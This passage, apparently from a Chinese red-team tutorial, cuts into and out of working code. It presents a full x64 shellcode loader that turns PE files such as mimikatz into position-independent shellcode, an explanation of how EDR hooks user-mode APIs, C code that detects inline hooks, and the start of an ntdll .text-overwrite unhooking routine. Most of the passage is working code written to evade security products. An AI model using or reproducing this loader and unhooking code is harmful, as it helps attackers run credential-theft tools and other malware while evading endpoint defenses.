" and rsp, 0xFFFFFFFFFFFFFFF0;"		# Stack alignment
" xor rdx, rdx;"
" mov rax, gs:[rdx+0x60];"		# RAX = PEB Address

"find_kernel32:"
" mov rsi,[rax+0x18];"			# RSI = Address of _PEB_LDR_DATA
" mov rsi,[rsi + 0x30];"		# RSI = Address of the InInitializationOrderModuleList
" mov r9, [rsi];"			
" mov r9, [r9];"			
" mov r9, [r9+0x10];"			# kernel32.dll
" jmp function_stub;"			# Jump to func call stub


"parse_module:"				# Parsing DLL file in memory
" mov ecx, dword ptr [r9 + 0x3c];"	# R9 = Base address of the module, ECX = NT header offset
" xor r15, r15;"
" mov r15b, 0x88;"			# Offset to Export Directory   
" add r15, r9;"				
" add r15, rcx;"			# R15 points to Export Directory
" mov r15d, dword ptr [r15];"		# R15 = RVA of export directory
" add r15, r9;"				# R15 = VA of export directory
" mov ecx, dword ptr [r15 + 0x18];"	# ECX = # of function names as an index value
" mov r14d, dword ptr [r15 + 0x20];"	# R14 = RVA of ENPT
" add r14, r9;"				# R14 = VA of ENPT


"search_function:"			# Search for a given function
" jrcxz not_found;"			# If RCX = 0, the given function is not found
" dec ecx;"				# Decrease index by 1
" xor rsi, rsi;"
" mov esi, [r14 + rcx*4];"		# RVA of function name
" add rsi, r9;"				# RSI points to function name string


"function_hashing:"			# Hash function name function
" xor rax, rax;"
" xor rdx, rdx;"
" cld;"					# Clear DF flag


"iteration:"				# Iterate over each byte
" lodsb;"				# Copy the next byte of RSI to Al
" test al, al;"				# If reaching the end of the string
" jz compare_hash;"			# Compare hash
" ror edx, 0x0d;"			# Part of hash algorithm
" add edx, eax;"			# Part of hash algorithm
" jmp iteration;"			# Next byte


"compare_hash:"				# Compare hash
" cmp edx, r8d;"			# R8 = Supplied function hash
" jnz search_function;"			# If not equal, search the previous function (index decreases)
" mov r10d, [r15 + 0x24];"		# Ordinal table RVA
" add r10, r9;"				# R10 = Ordinal table VMA
" movzx ecx, word ptr [r10 + 2*rcx];"	# Ordinal value -1
" mov r11d, [r15 + 0x1c];"		# RVA of EAT
" add r11, r9;"				# r11 = VA of EAT
" mov eax, [r11 + 4*rcx];"		# RAX = RVA of the function
" add rax, r9;"				# RAX = VA of the function
" ret;"
"not_found:"
" xor rax, rax;"			# Return zero
" ret;"


"function_stub:"			
" mov rbp, r9;"				# RBP stores base address of Kernel32.dll
" mov r8d, 0xec0e4e8e;"			# LoadLibraryA Hash
" call parse_module;"			# Search LoadLibraryA's address
" mov r12, rax;"			# R12 stores the address of LoadLibraryA function
" mov r8d, 0x7c0dfcaa;"			# GetProcAddress Hash
" call parse_module;"			# Search GetProcAddress's address
" mov r13, rax;"			# R13 stores the address of GetProcAddress function
```

**2：获得 PE 文件的起始地址并为修复 IAT 表做准备**

这里，我们没有硬编码偏移值，而是可以动态地计算出来。

```python
" jmp fix_import_dir;"			# Jump to fix_import_dir section


"find_nt_header:"			# Quickly return NT header in RAX
" xor rax, rax;"
" mov eax, [rbx+0x3c];"   		# EAX contains e_lfanew
" add rax, rbx;"          		# RAX points to NT Header
" ret;"					


"fix_import_dir:"  			# Init necessary variable for fixing IAT
" xor rsi, rsi;"
" xor rdi, rdi;"
f"lea rbx, [rip+{CODE_OFFSET}];"	# Jump to the dump file
" call find_nt_header;"
" mov esi, [rax+0x90];"  		# ESI = ImportDir RVA
" add rsi, rbx;"         		# RSI points to ImportDir
" mov edi, [rax+0x94];"   		# EDI = ImportDir Size
" add rdi, rsi;"          		# RDI = ImportDir VA + Size
```

**3：修复 IAT 表**

这里有 2 层循环，外层循环是**导入模块**，内层循环是**模块中的导入函数**。

```python
"loop_module:"
" cmp rsi, rdi;"          		# Compare current descriptor with the end of import directory
" je loop_end;"		    		# If equal, exit the loop
" xor rdx ,rdx;"
" mov edx, [rsi+0x10];"        		# EDX = IAT RVA (32-bit)
" test rdx, rdx;"         		# Check if ILT RVA is zero (end of descriptors)
" je loop_end;"		    		# If zero, exit the loop
" xor rcx, rcx;"
" mov ecx, [rsi+0xc];"    		# RCX = Module Name RVA
" add rcx, rbx;"          		# RCX points to Module Name
" call r12;"              		# Call LoadLibraryA
" xor rdx ,rdx;"			
" mov edx, [rsi+0x10];"        		# Restore IAT RVA
" add rdx, rbx;"          		# RDX points to IAT
" mov rcx, rax;"          		# Module handle for GetProcAddress
" mov r14, rdx;"			# Backup IAT Address


"loop_func:"
" mov rdx, r14;"			# Restore IAT address + processed entries
" mov rdx, [rdx];"        		# RDX = Ordinal or RVA of HintName Table
" test rdx, rdx;"         		# Check if it's the end of the IAT
" je next_module;"	    		# If zero, move to the next descriptor
" mov r9, 0x8000000000000000;"
" test rdx, r9;"  			# Check if it is import by ordinal (highest bit set)
" mov rbp, rcx;"			# Save module base address
" jnz resolve_by_ordinal;"		# If set, resolve by ordinal


"resolve_by_name:"
" add rdx, rbx;"          		# RDX = HintName Table VA
" add rdx, 2;"		  		# RDX points to Function Name
" call r13;"              		# Call GetProcAddress
" jmp update_iat;"        		# Go to update IAT


"resolve_by_ordinal:"
" mov r9, 0x7fffffffffffffff;"
" and rdx, r9;"			   	# RDX = Ordinal number
" call r13;"              		# Call GetProcAddress with ordinal


"update_iat:"
" mov rcx, rbp;"          		# Restore module base address
" mov rdx, r14;"				# Restore IAT Address + processed entries
" mov [rdx], rax;"         		# Write the resolved address to the IAT
" add r14, 0x8;"		  	# Movce to the next ILT entry
" jmp loop_func;"			# Repeat for the next function


"next_module:"
" add rsi, 0x14;"         		# Move to next import descriptor
" jmp loop_module;"  			# Continue loop


"loop_end:"
```

**4：修复重定向表**

小节前面已经教了大家修复重定向表的原理了。需要注意的是，有的重定向块的最后一个条目是空的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/abzCrWUKGZqFw2Zq-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/abzCrWUKGZqFw2Zq-image.png)

```python
"fix_basereloc_dir:"			# Save RBX //dq rbx+21b0 l46
" xor rsi, rsi;"
" xor rdi, rdi;"
" xor r8, r8;"				# Empty R8 to save page RVA
" xor r9, r9;"				# Empty R9 to place block size
" xor r15, r15;"
" call find_nt_header;"
" mov esi, [rax+0xb0];"  		# ESI = BaseReloc RVA
" add rsi, rbx;"         		# RSI points to BaseReloc
" mov edi, [rax+0xb4];"   		# EDI = BaseReloc Size
" add rdi, rsi;"          		# RDI = BaseReloc VA + Size
" mov r15d, [rax+0x28];"		# R15 = Entry point RVA
" add r15, rbx;"			# R15 = Entry point
" mov r14, [rax+0x30];"			# R14 = Preferred address
" sub r14, rbx;"			# R14 = Delta address 
" mov [rax+0x30], rbx;"			# Update Image Base Address
" mov r8d, [rsi];"			# R8 = First block page RVA
" add r8, rbx;"				# R8 points to first block page (Should add an offset later)
" mov r9d, [rsi+4];"			# First block's size
" xor rax, rax;"
" xor rcx, rcx;"


"loop_block:"
" cmp rsi, rdi;"          		# Compare current block with the end of BaseReloc
" jge basereloc_fixed_end;"    		# If equal, exit the loop
" xor r8, r8;"
" mov r8d, [rsi];"			# R8 = Current block's page RVA
" add r8, rbx;"				# R8 points to current block page (Should add an offset later)
" mov r11, r8;"				# Backup R8
" xor r9, r9;"
" mov r9d, [rsi+4];"			# R9 = Current block size
" add rsi, 8;"				# RSI points to the 1st entry, index for inner loop for all entries
" mov rdx, rsi;"
" add rdx, r9;"
" sub rdx, 8;"				# RDX = End of all entries in current block


"loop_entries:"
" cmp rsi, rdx;"			# If we reached the end of current block
" jz next_block;"			# Move to next block
" xor rax, rax;"
" mov ax, [rsi];"			# RAX = Current entry value
" test rax, rax;"			# If entry value is 0
" jz skip_padding_entry;"		# Reach the end of entry and the last entry is a padding entry
" mov r10, rax;"			# Copy entry value to R10
" and eax, 0xfff;"			# Offset, 12 bits
" add r8, rax;"				# Added an offset


"update_entry:"
" sub [r8], r14;"			# Update the address
" mov r8, r11;"				# Restore r8
" add rsi, 2;"				# Move to next entry by adding 2 bytes
" jmp loop_entries;"


"skip_padding_entry:"			# If the last entry is a padding entry
" add rsi, 2;"				# Directly skip this entry


"next_block:"
" jmp loop_block;"


"basereloc_fixed_end:"
" sub rsp, 0x8;"			# Stack alignment
```

**5：修复延迟导入表**

对于有些复杂的 PE 文件，例如 **mimikatz**，有着延迟导入表，如果不修复便会报错。不过延迟导入表的结构以及修复原理与 IAT 十分接近。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/Wg7E4cD3KSrwFL03-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/Wg7E4cD3KSrwFL03-image.png)

```python
"fix_delayed_import_dir:"
" call find_nt_header;"
" mov esi, [rax+0xf0];"			# ESI = DelayedImportDir RVA
" test esi, esi;"			# If RVA = 0?
" jz delayed_loop_end;"			# Skip delay import table fix
" add rsi, rbx;"			# RSI points to DelayedImportDir


"delayed_loop_module:"
" xor rcx, rcx;"			
" mov ecx, [rsi+4];"			# RCX = Module name string RVA
" test rcx, rcx;"			# If RVA = 0, then all modules are processed
" jz delayed_loop_end;"			# Exit the module loop
" add rcx, rbx;"			# RCX = Module name
" call r12;"				# Call LoadLibraryA
" mov rcx, rax;"			# Module handle for GetProcAddress for 1st arg
" xor r8, r8;"				
" xor rdx, rdx;"
" mov edx, [rsi+0x10];"			# EDX = INT RVA
" add rdx, rbx;"			# RDX points to INT
" mov r8d, [rsi+0xc];"			# R8 = IAT RVA
" add r8, rbx;"				# R8 points to IAT
" mov r14, rdx;"			# Backup INT Address
" mov r15, r8;"				# Backup IAT Address


"delayed_loop_func:"
" mov rdx, r14;"			# Restore INT Address + processed data
" mov r8, r15;"				# Restore IAT Address + processed data
" mov rdx, [rdx];"			# RDX = Name Address RVA
" test rdx, rdx;"			# If Name Address value is 0, then all functions are fixed
" jz delayed_next_module;"		# Process next module
" mov r9, 0x8000000000000000;"
" test rdx, r9;"			# Check if it is import by ordinal (highest bit set of NameAddress)
" mov rbp, rcx;"			# Save module base address
" jnz delayed_resolve_by_ordinal;"	# If set, resolve by ordinal


"delayed_resolve_by_name:"
" add rdx, rbx;"			# RDX points to NameAddress Table
" add rdx, 2;"				# RDX points to Function Name
" call r13;"				# Call GetProcAddress
" jmp delayed_update_iat;"		# Go to update IAT


"delayed_resolve_by_ordinal:"
" mov r9, 0x7fffffffffffffff;"
" and rdx, r9;"				# RDX = Ordinal number
" call r13;"				# Call GetProcAddress with ordinal


"delayed_update_iat:"
" mov rcx, rbp;"			# Restore module base address
" mov r8, r15;"				# Restore current IAT address + processed
" mov [r8], rax;"			# Write the resolved address to the IAT
" add r15, 0x8;"			# Move to the next IAT entry (64-bit addresses)
" add r14, 0x8;"			# Movce to the next INT entry
" jmp delayed_loop_func;"		# Repeat for the next function


"delayed_next_module:"
" add rsi, 0x20;"			# Move to next delayed imported module
" jmp delayed_loop_module;"		# Continue loop


"delayed_loop_end:"
```

**6：跳转到 PE 入口**

这里，我们已经完成了所需的修复啦。尽管对于更加复杂的 PE 文件，可能需要其他表的修复，例如 TLS 回调目录。将执行转至 PE 的入口

```python
"all_completed:"        
" call find_nt_header;"
" xor r15, r15;"
" mov r15d, [rax+0x28];"		# R15 = Entry point RVA
" add r15, rbx;"			# R15 = Entry point    		
" jmp r15;"
```

**7：杂项**

为了动态地计算偏移，我们会生成 2 段 Shellcode，步骤 1 的 Shellcode 为一段，剩余的为一段。

```python
    ks = Ks(KS_ARCH_X86, KS_MODE_64)
    encoding, count = ks.asm(CODE)
    CODE_LEN = len(encoding) + 25     
    CODE_OFFSET = 4096 - CODE_LEN
```

增加对命令行的支持，原理是修改 PEB 中的命令行以及其长度。这样的修改对部分程序有效，但兼容性依旧不足够。

```python
def generate_asm_by_cmdline(new_cmd):
    new_cmd_length = len(new_cmd) * 2 + 12
    unicode_cmd = [ord(c) for c in new_cmd]


    fixed_instructions = [
        "mov rsi, [rax + 0x20];			# RSI = Address of ProcessParameter",
        "add rsi, 0x70; 			# RSI points to CommandLine member",
        f"mov byte ptr [rsi], {new_cmd_length}; # Set Length to the length of new commandline",
        "mov byte ptr [rsi+2], 0xff; # Set the max length of cmdline to 0xff bytes",
        "mov rsi, [rsi+8]; # RSI points to the string",
        "mov dword ptr [rsi], 0x002e0031; 	# Push '.1'",
        "mov dword ptr [rsi+0x4], 0x00780065; 	# Push 'xe'",
        "mov dword ptr [rsi+0x8], 0x00200065; 	# Push ' e'"
    ]

    start_offset = 0xC
    dynamic_instructions = []
    for i, char in enumerate(unicode_cmd):
        hex_char = format(char, '04x')
        offset = start_offset + (i * 2) 
        if i % 2 == 0:
            dword = hex_char
        else:
            dword = hex_char + dword 
            instruction = f"mov dword ptr [rsi+0x{offset-2:x}], 0x{dword};"
            dynamic_instructions.append(instruction)
    if len(unicode_cmd) % 2 != 0:
        instruction = f"mov word ptr [rsi+0x{offset:x}], 0x{dword};"
        dynamic_instructions.append(instruction)
    final_offset = start_offset + len(unicode_cmd) * 2
    dynamic_instructions.append(f"mov byte ptr [rsi+0x{final_offset:x}], 0;")
    instructions = fixed_instructions + dynamic_instructions
    return "\n".join(instructions)
```

如果要尽可能更好地支持对命令行的解析，我们还需要对 **GetCommandLineA**，**GetCommandLineW**，**\_\_getmainargs**, **\_\_wgetmainargs** 函数进行 **IAT Hook**，修改对这些函数的实现。不过，不同的程序对参数的处理方法不同，即便对这 4 个函数都进行 Hook，依旧有无法正确解析命令行的程序。

我们来看看将 mimikatz 转换为 Shellcode 后的执行效果(mimi.bin是 mimikatz 的内存转储文件)：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/5iwLDNfgrWlCbeiL-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/5iwLDNfgrWlCbeiL-image.png)

甚至 UPX 加过壳的 calc 都能被转换成位置独立的 Shellcode 并运行：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/DWrIixPcqRcWqKV1-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/DWrIixPcqRcWqKV1-image.png)

# 用户态Hooking介绍

Hook，即钩子，在网络安全用语中，指的是拦截并且修改特定的 API 执行流程，通常用于 Debugging，逆向工程，游戏作弊，检测恶意软件行为。API Hook 将原有的 API 替换为自定义的以进行额外的检视，如果非恶意，则继而调用原有的 API，否则会被拦截。

安全产品，例如 EDR，可能会实施 **SSDT Hooking**，**IAT Hooking**，**内联 Hooking**。不过对于 SSDT Hooking，因为是内核层的，虽然安全产品可以实施 SSDT Hooking 从而实现更彻底的检视，但也会被恶意软件用来实现文件、网络连接、注册表键等的隐藏。基于内核层的更改，无论目的是好是坏，都可能影响系统安全性、完整性、以及稳定性，因此微软后来引入了 **PatchGuard** 来阻止对内核的补丁。作为"补偿"，微软引入了我们之前简述过的内核回调，供安全产品进行内核层面的检视。

### **IAT Hooking**

我们在 PE 小节介绍过 IAT 表了，IAT 表记录了映像文件所引用的模块以及其中的导出函数。我们在编写恶意软件时，调用 Win32 API 或者 NTAPI 的话，则会使 IAT 表中增加该 API 以及其所在的模块。

以 calc 为例，我们使用 PE Bear 可以查看其在磁盘时候的 IAT 表，这时候 IAT 与 INT 是一致的，没有函数地址。但当 calc 被载入到内存中时，IAT 中会更新函数的地址。例如，我们在下图可以看到 KERNEL32 模块中第一个导入函数是 GetCurrentThreadId，当前 IAT 条目中的值是 HintName 表的 RVA。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/UoTPUjQ2mJxHVnRA-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/UoTPUjQ2mJxHVnRA-image.png)

在 WinDBG 中，我们印证了，并且该条目的值被更新成了函数的地址。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/28BChHTZO9f9NxoP-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/28BChHTZO9f9NxoP-image.png)

但如果，IAT 条目中的值被修改成安全产品模块的导出函数，那么是不是就意味着调用该函数的时候，安全产品都在检视了？IAT Hooking，就是这么一个原理。不过，如今安全产品，尤其是 EDR，主要使用下面要讲的内联 Hooking 进行函数调用检视。

### **内联 Hooking**

内联 Hooking 是如今更主流的 Hooking 方案，EDR 通常会给 NTAPI 设置内联 Hook，因为 NTAPI 作为用户态与内核态的桥梁。内联 Hook 的特征为在 NTAPI 代码的 **syscall 指令前**，加入**无条件的跳转**，即 **jmp** 命令。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/bEJWcFdj5BMCy1wb-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/bEJWcFdj5BMCy1wb-image.png)

下图是常被恶意软件所利用的 **NtWriteVirtualMemory**，其 Win32 API 是 **WriteProcessMemory**。我们可以看到，第 2 条指令跳转到了别处，这是被 hook 的特征。当然了，不同的 EDR hook 的函数可能所有不同(但肯定有一些 NTAPI 是都被 Hook 的)，hook 的指令位置也可能有所不同，例如有的 EDR 会覆盖 **mov r10, rcx** 这条指令。但是，跳转一定是发生在 syscall 指令之前，因为 syscall 指令的执行即意味着向内核态的过渡。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/0HYWeD5yHhBgzDCv-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/0HYWeD5yHhBgzDCv-image.png)

而对于不怎么在恶意软件中被利用的良性 NTAPI，则没有被 hook 的迹象。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/4KPFnhX4kGObSxVj-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/4KPFnhX4kGObSxVj-image.png)

实际上，对于大多数 NTAPI，代码都形如下图，这是 syscall 的格式。至于和上图相差的几条指令，至少在 x64 中，并非必须的，也就是有着下述这几条指令，就可以完成 syscall。

```c
mov r10, rcx
mov rax, [SSN]
syscall
ret
```

在稍后的章节，我们会讲解如何绕过内联 Hook。

# 绕过用户态Hooking

在上个小节，我们讨论了 EDR 在用户态设置 Hook 的原理，那么相应地，我们可以根据这原理寻找间隙，实现对用户态 Hook 的绕过。截至目前，已经有多种方法绕过 Hook。不过，Hook 并非 EDR 的全部检测能力的来源，因此绕过 Hook 的这个过程本身可能就会被检测为恶意。不过无论如何，在这个小节，我们会过一下常见的一些用于绕过 Hook 的方法，以及它们的 IOC。在下个小节，我们会继续探讨绕过用户态 Hook 的方法，虽然会更加复杂一些。

### **检测内联 Hook**

内联 Hook 的实施是在要 Hook 的 NTAPI 的 syscall stub 中的 syscall 指令之前用无条件跳转指令覆盖原有指令。不同的 EDR 可能会覆盖不同的指令，例如 CrowdStrike 覆盖的是 **mov eax, SSN** 这条指令，有的 EDR 覆盖的是 **mov r10, rcx** 这条指令。

因此，代码的逻辑便很直接，逐一检查 syscall stub 的前 4 个字节。在代码里，我们通过 PEB Walking 的方法在不调用 LoadLibray，GetModuleHandle，GetProcAddress 函数的情况下可以获得 ntdll 模块的地址、给定函数的地址。这么做可以避免 LoadLibray，GetModuleHandle，GetProcAddress 这些函数在 IAT 中的显示。

因为涉及对模块的解析，因此我们也会频繁用到 PE 文件相关的结构体。

```c
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include <string.h>


//Get module handle for ntdll and kernel32 at the same time
void GetModule(HMODULE* ntdll, HMODULE* kernel32)
{
	PPEB peb = (PPEB)(__readgsqword(0x60));
	PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr;
	PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30);
	*ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10);
	PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry);
	PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry);
	*kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10);
}

BOOL CheckFuncByName(IN HMODULE hModule, const CHAR * funcName)
{
	PBYTE pBase = (PBYTE)hModule;
	PIMAGE_DOS_HEADER	pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return false;
	PIMAGE_NT_HEADERS	pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return false;

	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
	PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
	PWORD  FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
	for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
	{
		CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
		PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
		if (_stricmp(funcName,pFunctionName)==0)
		{
			// Check if the first 4 bytes match 0x4C, 0x8B, 0xD1, and 0xB8
			if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8)
			{
				printf("NTAPI %s may not be hooked\n", funcName);
			}
			else
			{
				printf("NTAPI %s is hooked\n", funcName);
				return true;
			}
			return false;
		}
	}
	return false;
}

int main()
{
	HMODULE ntdll;
	HMODULE kernel32;
	GetModule(&ntdll, &kernel32);
	printf("ntdll base address: %p\n", ntdll);
	printf("kernel32 base address: %p\n", kernel32);
	CheckFuncByName(ntdll,"NtAllocateVirtualMemory");
	CheckFuncByName(ntdll, "NtOpenProcess");
	CheckFuncByName(ntdll, "NtReadVirtualMemory");
	CheckFuncByName(ntdll, "NtWriteVirtualMemory");
    return 0;
}


```

编译后，使用 WinDBG 来调试该程序，通过手动修改 NtOpenProcess 的第一条指令来模拟 hook。程序也成功地检测出 NtOpenProcess API 的指令被纂改。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/CzR68AnerRrjyN59-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/CzR68AnerRrjyN59-image.png)

###   


### **替换 .text 节**

我们知道 PE 文件的 .text 节是可执行代码的区域，权限是 **RX**。既然特定 NTAPI 被 hook 了，只要用干净的 ntdll 的 .text 节来覆盖，那么我们就会得到干净的代码，自然可以实现 unhook。

因此，我们首先要获得载入的 ntdll 模块的地址，这个我们已经用代码实现了。然后我们从磁盘读取 ntdll 文件，并存储在缓冲区中。需要注意的是，存储在缓冲区中的 ntdll 的内容是基于磁盘中的形式，即尚未映射到内存中。这样，我们有了 2 份不同的 ntdll 的地址，一份是**被 hook** 的，一份是**干净**的；一份是**映射在内存中**的，一份是**基于磁盘形式**的。因此，在将干净 ntdll 文件中的 .text 节覆盖被 hook 的 ntdll 的 .text 节时，我们需要稍加注意 PointerOfRawData 与 VirtualAddress，SizeOfRawData 与 VirtualSize。

```c
typedef struct _IMAGE_SECTION_HEADER {
    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME
    union {
            DWORD   PhysicalAddress;
            DWORD   VirtualSize;
    } Misc;
    DWORD   VirtualAddress;
    DWORD   SizeOfRawData;
    DWORD   PointerToRawData;
    DWORD   PointerToRelocations;
    DWORD   PointerToLinenumbers;
    WORD    NumberOfRelocations;
    WORD    NumberOfLinenumbers;
    DWORD   Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
```

以下面截图中的 ntdll 为例，在本地磁盘时，文件偏移为 0x400，尺寸为 0x11920。当被载入至内存时，RVA 是 0x1000，尺寸为 0x1190ce。我们需要注意到这差异。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/1IZsEiMsyPoFIEMk-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/1IZsEiMsyPoFIEMk-image.png)

因为两者 .text 节的尺寸有轻微不同，为了保险起见，我们适用尺寸更大的 .text 节来覆盖。之所以考虑这点，我是担心如果干净的 .text 节尺寸更小，那么没有完全覆盖，载入的 ntdll 的代码区还会有少量代码残留，可能在特定情况下导致意想不到的结果。尽管在本案例中干净的代码区尺寸更大，但在其他的操作系统版本可能是相反的情况，所以我们依旧需要考虑到。

```c
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
#include <string.h>

void GetModule(HMODULE* ntdll, HMODULE* kernel32)
{
	PPEB peb = (PPEB)(__readgsqword(0x60));
	PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr;
	PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30);
	*ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10);
	PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry);
	PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry);
	*kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10);
}

BOOL CheckFuncByName(IN HMODULE hModule, const CHAR* funcName)
{
	PBYTE pBase = (PBYTE)hModule;
	PIMAGE_DOS_HEADER	pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return false;
	PIMAGE_NT_HEADERS	pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return false;

	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
	PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
	PWORD  FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
	for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
	{
		CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
		PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
		if (_stricmp(funcName, pFunctionName) == 0)
		{
			// Check if the first 4 bytes match 0x4C, 0x8B, 0xD1, and 0xB8
			if (pFunctionAddress[0] == 0x4C && pFunctionAddress[1] == 0x8B && pFunctionAddress[2] == 0xD1 && pFunctionAddress[3] == 0xB8)
			{
				printf("NTAPI %s may not be hooked\n", funcName);
			}
			else
			{
				printf("NTAPI %s is hooked\n", funcName);
				return true;
			}
			return false;
		}
	}
	return false;
}


int main()
{
	HMODULE ntdll;
	HMODULE kernel32;
	GetModule(&ntdll, &kernel32);
	printf("ntdll base address: %p\n", ntdll);
	printf("kernel32 base address: %p\n", kernel32);
	CheckFuncByName(ntdll, "NtOpenProcess");

	HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		printf("[!] CreateFileA Failed With Error : %d \n\n", GetLastError());
		return -1;
	}
	DWORD dwFileLen = GetFileSize(hFile, NULL);
	DWORD dwNumberOfBytesRead;
	PVOID pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileLen);
	if (!ReadFile(hFile, pNtdllBuffer, dwFileLen, &dwNumberOfBytesRead, NULL) || dwFileLen != dwNumberOfBytesRead)
	{
		printf("[!] ReadFile Failed With Error : %d \n\n", GetLastError());
		return -1;
	}
	if (hFile)
	{
		CloseHandle(hFile);
	}


	PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdll;
	PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdll + hookedDosHeader->e_lfanew);
	PIMAGE_DOS_HEADER CleanDosHeader = (PIMAGE_DOS_HEADER)pNtdllBuffer;
	PIMAGE_NT_HEADERS CleanNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)pNtdllBuffer + CleanDosHeader->e_lfanew);

	for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++)
	{
		PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
		PIMAGE_SECTION_HEADER CleanSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(CleanNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

		if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text"))
		{
			LPVOID hookedTextSection = (LPVOID)((DWORD_PTR)ntdll + (DWORD_PTR)hookedSectionHeader->VirtualAddress);
			LPVOID CleanTextSection = (LPVOID)((DWORD_PTR)pNtdllBuffer + (DWORD_PTR)CleanSectionHeader->PointerToRawData);
